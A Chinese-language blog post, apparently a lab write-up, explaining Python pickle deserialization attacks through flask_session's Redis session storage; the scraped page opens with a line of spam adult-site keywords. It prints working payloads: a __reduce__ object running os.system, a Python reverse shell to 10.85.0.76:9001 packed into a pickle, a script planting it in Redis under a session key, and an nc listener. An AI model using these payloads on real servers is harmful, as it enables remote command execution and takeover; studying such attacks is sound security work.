国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

Python反序列化安全問(wèn)題

Amos / 669人閱讀

摘要:反序列化安全問(wèn)題一這一段時(shí)間使用做開發(fā),使用了存儲(chǔ),閱讀了源碼,發(fā)現(xiàn)在存儲(chǔ)到過(guò)程中,利用了模塊進(jìn)行序列化以及反序列化正好根據(jù)該樣例學(xué)習(xí)一波反序列化相關(guān)的安全問(wèn)題,不足之處請(qǐng)各位表哥指出。

Python 反序列化安全問(wèn)題(一)
這一段時(shí)間使用flask做web開發(fā),使用了redis存儲(chǔ)session,閱讀了flask_session源碼,發(fā)現(xiàn)在存儲(chǔ)session到redis過(guò)程中,利用了cPickle模塊進(jìn)行序列化以及反序列化;正好根據(jù)該樣例學(xué)習(xí)一波Python反序列化相關(guān)的安全問(wèn)題,不足之處請(qǐng)各位表哥指出。

一、基礎(chǔ)知識(shí)講解 1.1 cPickle模塊
Python中主要是用cPickle和pickle,前者是使用C語(yǔ)言實(shí)現(xiàn),速度可達(dá)到后者的1000倍,使用范圍較廣(文檔鏈接)

cPickle可以序列化很多類型的對(duì)象,詳情見(jiàn)文檔。基礎(chǔ)語(yǔ)法就是:

import cPickle
a = 1
b = cPickle.dumps(a)
cPickle.loads(b)

文檔中需要特別關(guān)注的是11.1.5.2,Pickling and unpickling extension types
這一節(jié)主要內(nèi)容就是講述cPickle序列化以及反序列化擴(kuò)展類的過(guò)程,原文有一句我并沒(méi)有完全理解意思:

When the Pickler encounters an object of a type it knows nothing about — such as an extension type

初始理解的意思是:當(dāng)遇到解釋器一無(wú)所知的擴(kuò)展類型的時(shí)候,但是對(duì)于理解的這句話,擴(kuò)展類型是什么意思?后來(lái)想到Python中元類是type,這里extension types應(yīng)該理解為type類型的class。

class A(): # 舊類
     pass
type(A)

class B(object): # 新類 
     pass
type(B)

所以說(shuō)這一節(jié)主要針對(duì)的應(yīng)該是新類,即 class A(object) 此種寫法創(chuàng)建的類(存疑,待補(bǔ)充完善);當(dāng)序列化以及反序列化的過(guò)程中中碰到未知類的時(shí)候,可以通過(guò)類中定義的__reduce__方法來(lái)告知如何進(jìn)行序列化或者反序列化,該方法可以返回string和tuple類型;問(wèn)題主要出在tuple類型(后面會(huì)細(xì)述),通過(guò)構(gòu)造__reduce__可達(dá)到命令執(zhí)行的目的:

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = "whoami"
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

使用上述命令即可執(zhí)行whoami命令。同時(shí)也可以利用該方式反彈shell:

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

然后在10.85.0.76執(zhí)行nc -lvvp 9001,即可成功獲取shell。


1.2 flask_session
因?yàn)楸敬螠y(cè)試主要是依托于flask和redis,所以首先介紹一下flask_session。

flask中默認(rèn)使用客戶端session,如果想要配置服務(wù)端session,就需要使用flask_session配合Redis(后面皆以Redis為主)或者其他數(shù)據(jù)庫(kù)。flask_session使用Redis存儲(chǔ)session的過(guò)程(主要使用如下的接口實(shí)現(xiàn),只展示部分代碼):

class RedisSessionInterface(SessionInterface):
    serializer = pickle  # 上文模塊導(dǎo)入 import cPickle as pickle
    session_class = RedisSession
    
    def open_session(self, app, request):  # 獲取session
        ……
        val = self.redis.get(self.key_prefix + sid)
        if val is not None:
            try:
                data = self.serializer.loads(val)  ## 將session值取出后反序列化
                return self.session_class(data, sid=sid)
            except:
                return self.session_class(sid=sid, permanent=self.permanent)
        return self.session_class(sid=sid, permanent=self.permanent)

    def save_session(self, app, session, response):  # 存儲(chǔ)session
        ……
        val = self.serializer.dumps(dict(session)) ## 將session值序列化存儲(chǔ)到redis
        

上述過(guò)程簡(jiǎn)單說(shuō)就是:session存取過(guò)程存在序列化和反序列化的過(guò)程。
session在Redis中以鍵值對(duì)(key,value)的形式存儲(chǔ)。假設(shè)我們能夠操縱Redis中的鍵值對(duì),將某個(gè)key的值設(shè)為我們序列化后惡意代碼(比如上面反彈shell的代碼樣例),然后在將自身的cookie設(shè)置為該key,在訪問(wèn)網(wǎng)站的時(shí)候,服務(wù)端會(huì)對(duì)于根據(jù)key查找value并進(jìn)行反序列化,進(jìn)而反彈shell。下面對(duì)于該想法進(jìn)行測(cè)試


二、 漏洞測(cè)試
測(cè)試環(huán)境:

victim:Ubuntu 14.04、Redis 2.8.4、IP:10.85.0.54

attacker:Win10、IP:10.85.0.76

2.1 構(gòu)建服務(wù)端

此處我用flask編寫了一個(gè)服務(wù)端樣例:

import redis
import os
from flask import Flask,session
from flask_session import Session
app = Flask(__name__)
SESSION_TYPE = "redis"
SESSION_PERMANENT = False
SESSION_USE_SIGNER = False
SESSION_KEY_PREFIX = "session"
SESSION_REDIS = redis.Redis(host="127.0.0.1",port="6379")
SESSION_COOKIE_HTTPONLY = True
PERMANENT_SESSION_LIFETIME = 604800  # 7 days
app.config.from_object(__name__)
Session(app)


@app.route("/")
def hello_world():
    session["name"]="test"
    return "Hello World!"

if __name__ == "__main__":
    app.run(host="0.0.0.0")

將上述代碼保存為app.py,第三方庫(kù)安裝完畢后,在服務(wù)器上運(yùn)行

python app.py

即可在5000端口啟動(dòng)簡(jiǎn)單的服務(wù)端,訪問(wèn)如圖所示,紅框中是我們的sid,也是服務(wù)端查找session內(nèi)容的key(因?yàn)樵O(shè)置了前綴,所以redis中key應(yīng)該是session+sid):

2.2 更改session

此時(shí)如果說(shuō)我們將value設(shè)置為惡意代碼會(huì)怎么樣?

import cPickle
import os
import redis
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
r = redis.Redis(host="127.0.0.1",port=6379)
r.set("此處為"session"和你的sid拼接",result)

運(yùn)行上述代碼后,我們可以發(fā)現(xiàn)我們的session內(nèi)容變成下圖所示內(nèi)容:

2.3 反彈shell

此時(shí)在attacker監(jiān)聽9001端口:

nc -lvvp 9001

然后刷新瀏覽器中訪問(wèn)頁(yè)面,發(fā)現(xiàn)成功反彈shell:


三、emmmm

目前很多Python的Web應(yīng)用都用Redis等NoSQL進(jìn)行session存儲(chǔ),當(dāng)攻擊者有機(jī)會(huì)去操縱服務(wù)端的session的時(shí)候(比如Redis未授權(quán)訪問(wèn)),配合反序列化漏洞即可執(zhí)行命令。上述提到的兩個(gè)庫(kù)cPickle和pickle,兩個(gè)庫(kù)實(shí)現(xiàn)的功能基本相似,后面會(huì)對(duì)于Python實(shí)現(xiàn)的pickle庫(kù)進(jìn)行分析為何會(huì)出現(xiàn)命令執(zhí)行的漏洞。

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://specialneedsforspecialkids.com/yun/41357.html

相關(guān)文章

  • Python 列化安全問(wèn)題(二)

    摘要:讀取新的一行作為模塊名,讀取下一行作為對(duì)象名,然后將壓入到堆棧中。讀取字符串進(jìn)行處理之后壓入堆棧。將一個(gè)元組和一個(gè)可調(diào)用對(duì)象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對(duì)象,最后將結(jié)果壓入到堆棧中。調(diào)用結(jié)束反序列化。 python pickle允許類定義__reduce__方法來(lái)聲明如何進(jìn)行序列化。其返回字符串或者tuple,前者可能代表著一個(gè)python的全局變量的名稱,后者則是描...

    zhoutk 評(píng)論0 收藏0
  • Python 列化安全問(wèn)題(二)

    摘要:讀取新的一行作為模塊名,讀取下一行作為對(duì)象名,然后將壓入到堆棧中。讀取字符串進(jìn)行處理之后壓入堆棧。將一個(gè)元組和一個(gè)可調(diào)用對(duì)象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對(duì)象,最后將結(jié)果壓入到堆棧中。調(diào)用結(jié)束反序列化。 python pickle允許類定義__reduce__方法來(lái)聲明如何進(jìn)行序列化。其返回字符串或者tuple,前者可能代表著一個(gè)python的全局變量的名稱,后者則是描...

    idealcn 評(píng)論0 收藏0
  • TensorFlow 刪除 YAML 支持,建議 JSON 作為替補(bǔ)方案!

    摘要:據(jù)公告稱,和的包裝庫(kù)使用了不安全的函數(shù)來(lái)反序列化編碼的機(jī)器學(xué)習(xí)模型。簡(jiǎn)單來(lái)看,序列化將對(duì)象轉(zhuǎn)換為字節(jié)流。據(jù)悉,本次漏洞影響與版本,的到版本均受影響。作為解決方案,在宣布棄用之后,團(tuán)隊(duì)建議開發(fā)者以替代序列化,或使用序列化作為替代。 ...

    BlackFlagBin 評(píng)論0 收藏0
  • Python 中的 10 個(gè)常見(jiàn)安全漏洞,以及如何避免(下)

    摘要:在考慮安全性時(shí),你需要考慮如何避免被濫用,也不例外,即使在標(biāo)準(zhǔn)庫(kù)中,也存在用于編寫應(yīng)用的不良實(shí)踐。修復(fù)使用替換標(biāo)準(zhǔn)庫(kù)模塊,它增加了針對(duì)這些類型攻擊的安全防護(hù)。但這卻是中最大的安全漏洞之一。 簡(jiǎn)評(píng):編寫安全代碼很困難,當(dāng)你學(xué)習(xí)一個(gè)編程語(yǔ)言、模塊或框架時(shí),你會(huì)學(xué)習(xí)其使用方法。 在考慮安全性時(shí),你需要考慮如何避免被濫用,Python也不例外,即使在標(biāo)準(zhǔn)庫(kù)中,也存在用于編寫應(yīng)用的不良實(shí)踐。然而...

    PiscesYE 評(píng)論0 收藏0
  • python基礎(chǔ)教程:列化

    摘要:默認(rèn)情況下,它也是不安全的,如果數(shù)據(jù)是由黑客精心設(shè)計(jì)的,則反序列化的數(shù)據(jù)可能被植入惡意代碼。總結(jié)為我們提供了數(shù)據(jù)序列化的工具。如果是自己內(nèi)部使用,可以作為一個(gè)選擇進(jìn)行復(fù)雜對(duì)象的序列化。 上一節(jié)我們學(xué)習(xí)了文件的讀寫,把一個(gè)字符串(或字節(jié)對(duì)象)保存到磁盤是一件很容易的事情。但是在實(shí)際編程中,我們經(jīng)常需要保存結(jié)構(gòu)化數(shù)據(jù),比如復(fù)雜的字典、嵌套的列表等等,這時(shí)候就需要我們想辦法把這些結(jié)構(gòu)化數(shù)據(jù)先...

    gityuan 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

閱讀需要支付1元查看
<